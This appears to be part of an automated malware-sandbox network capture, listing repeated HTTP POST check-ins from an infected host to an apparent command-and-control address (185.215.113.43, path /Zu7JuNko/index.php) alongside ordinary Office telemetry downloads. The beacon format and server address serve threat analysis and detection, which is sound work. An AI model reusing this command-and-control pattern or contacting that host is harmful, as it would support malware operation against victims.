Nov 21, 2024 03:15:40.551136971 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:15:41.987076998 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	50462	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:43.736661911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:15:45.132764101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	50465	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:46.782603025 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:15:48.142761946 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	50468	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:49.880615950 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:15:51.218051910 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	50471	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:52.856535912 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:15:54.307548046 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	50474	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:56.054456949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:15:57.410367966 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49704	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:23 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:24 UTC	492	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:24 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 16:37:24 GMT ETag: "0x8DD08B87243495C" x-ms-request-id: b5254561-a01e-0070-0158-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020824Z-178bfbc474b9fdhphC1NYCac0n00000000pg00000000vtd5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:24 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-21 02:08:24 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-21 02:08:24 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-21 02:08:24 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-21 02:08:24 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-21 02:08:24 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-21 02:08:24 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-21 02:08:24 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-21 02:08:24 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-21 02:08:24 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.5	49709	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:26 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:27 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020826Z-178bfbc474bw8bwphC1NYC38b400000000h000000000t4rd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:27 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.5	49706	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:26 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:27 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:27 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: d37f37b1-d01e-002b-586c-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020827Z-1777c6cb754lv4cqhC1TEB13us0000000af0000000008rz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:27 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	49707	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:26 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:27 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05856cf7-f01e-0020-4060-3b956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020827Z-178bfbc474bv587zhC1NYCny5w00000000pg00000000m3dr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:27 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 